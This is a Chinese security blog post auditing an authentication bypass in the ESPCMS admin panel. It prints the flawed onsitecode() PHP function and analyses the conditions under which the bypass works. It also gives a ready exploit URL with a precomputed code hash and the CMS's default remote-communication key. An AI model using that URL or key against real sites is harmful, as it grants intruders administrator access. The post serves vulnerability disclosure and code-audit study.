您的位置 » 首页 » 代码审计,实用工具 » 代码审计:ESPCMS后台登陆绕过漏洞附EXP

代码审计:ESPCMS后台登陆绕过漏洞附EXP

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年04月26日 | 文章热度:8,628 次 全屏阅读

显示不全请点击全屏阅读

时隔好久,童鞋相继发过这个CMS漏洞,今天大体看了下,问题还有,官方还是一直在修复漏洞。 

问题出在后台文件adminsoft\control\adminuser.php文件

代码问题出在函数onsitecode()

 

function onsitecode() {
		parent::start_template();
		$db_table = db_prefix . "admin_member";
		$linkURL = $_SERVER['HTTP_REFERER'];
		$siteid = $this->fun->accept('siteid', 'R');
		$code = $this->fun->accept('code', 'R');
		$adminid = $this->fun->accept('adminid', 'R');
		$siteip = $this->fun->real_server_ip();
		//echo $adminid;
		if (empty($siteid) || empty($code) || empty($siteip) || empty($this->CON['sitecoedb']) || empty($adminid)) {
			exit();
		}
		$codelist = md5($this->CON['sitecoedb'] . '_' . $siteip . '_' . adminfile);

		if ($code == $codelist) {
			$db_where = "username='$adminid' AND isclass=1 AND isremote=1";
			$rsMember = $this->db->fetch_first('SELECT id,username,password,powergroup,inputclassid,isclass,isremote FROM ' . $db_table . ' WHERE ' . $db_where);
			if (!$rsMember) {
				exit('ESPCMS:Parameter error!');
			} else {

				$ipadd = $this->fun->ip($_SERVER['REMOTE_ADDR']);
				$date = time();
				$db_set = "intime=$date,ipadd=$ipadd,hit=hit+1";
				$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);

				$db_table = db_prefix . 'admin_powergroup';
				$db_where = 'id=' . $rsMember['powergroup'];
				$rsPower = $this->db->fetch_first('SELECT powername,powerlist FROM ' . $db_table . ' WHERE ' . $db_where);
				if ($rsPower['powerlist'] != 'all') {

					$rsPower_array = explode('|', $rsPower['powerlist']);
					$rsPower_array = is_array($rsPower_array) ? $this->fun->exp_array($rsPower_array) : $rsPower_array;

					$sysArray = $this->get_powermenulist('all');
					$sys_newsArray = array();
					foreach ($sysArray as $key => $value) {
						$sys_newsArray[] = $value['loadfun'];
					}
					$sys_newsArray = $this->fun->exp_array($sys_newsArray);

					$diff_array = array_diff($sys_newsArray, $rsPower_array);
					$rsPower['powerlist'] = implode('|', $diff_array);
				}

				$this->fun->setcookie("esp_powerlist", $this->fun->eccode($rsPower['powerlist'], 'ENCODE', db_pscode));
				$this->fun->setcookie('ecisp_admininfo', $this->fun->eccode("$rsMember[id]|$rsMember[username]|$rsMember[password]|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . $rsMember[powergroup] . '|' . $rsMember[inputclassid] . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));
				$this->writelog($this->lng['adminuser_login_log_action'], $this->lng['log_extra_ok'] . ' user=' . $rsMember['username'], $rsMember['username']);
				header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
				exit('true');
			}
		}
		exit();
	}

 

只要$code == $codelist就通过验证,那么我们可以自己构造,主要就是

 

$codelist = md5($this->CON[‘sitecoedb’] . ‘_’ . $siteip . ‘_’ . adminfile);

 

测试代码如下

 

index.php?archive=adminuser&action=sitecode&adminid=admin&siteid=1&code=f01f70868bbd44aba6ffc8602367abea

 

直接访问登录后台。

 

漏洞作者:j8g

 

Seay分析:

找到j8说的这个文件,看了下确实存在这个问题,不过也有点鸡肋。

给出的exp

adminsoft/index.php?archive=adminuser&action=sitecode&adminid=admin&siteid=1&code=f01f70868bbd44aba6ffc8602367abea

 

一、看到

if (empty($siteid) || empty($code) || empty($siteip) || empty($this->CON['sitecoedb']) || empty($adminid)) {
			exit();
		}
		$codelist = md5($this->CON['sitecoedb'] . '_' . $siteip . '_' . adminfile);

但是默认CON[‘sitecoedb’]是为空的,要在后台更新一下设置才会变成

     //远程通信密钥
     'sitecoedb'=>'7a6355a4a18b136036439cc61efe069b',

这个是默认的,一般不会有什么人改。

 

二、

看到

if ($code == $codelist) {
			$db_where = "username='$adminid' AND isclass=1 AND isremote=1";
			$rsMember = $this->db->fetch_first('SELECT id,username,password,powergroup,inputclassid,isclass,isremote FROM ' . $db_table . ' WHERE ' . $db_where);
			echo 'SELECT id,username,password,powergroup,inputclassid,isclass,isremote FROM ' . $db_table . ' WHERE ' . $db_where;
			if (!$rsMember) {
				exit('ESPCMS:Parameter error!');
			} else {

 

$db_where = “username=’$adminid’ AND isclass=1 AND isremote=1”;

在where条件中

需要isremote=1才能成功查询到数据。

专门找了下这个参数,是要adminid这个管理员是集群管理员才会是1,

而默认这个是0,要管理员在后台的管理员设置成集群管理员这个漏洞才能成功利用。

最后上个图:

 

 

 

Tags:

espcms漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2712/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有3个筒子的人留下了脚印...

  • 周润发 说:
    1楼
    2013 年 4 月 26 日 下午 2:00 回复

    你刚发一分钟就来顶你了 😎

    • 【管理员】seay 说:
      2013 年 4 月 26 日 下午 3:00 回复

      感谢发哥

  • honker90 说:
    2楼
    2013 年 4 月 26 日 下午 5:09 回复

    果子眼影有点重

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)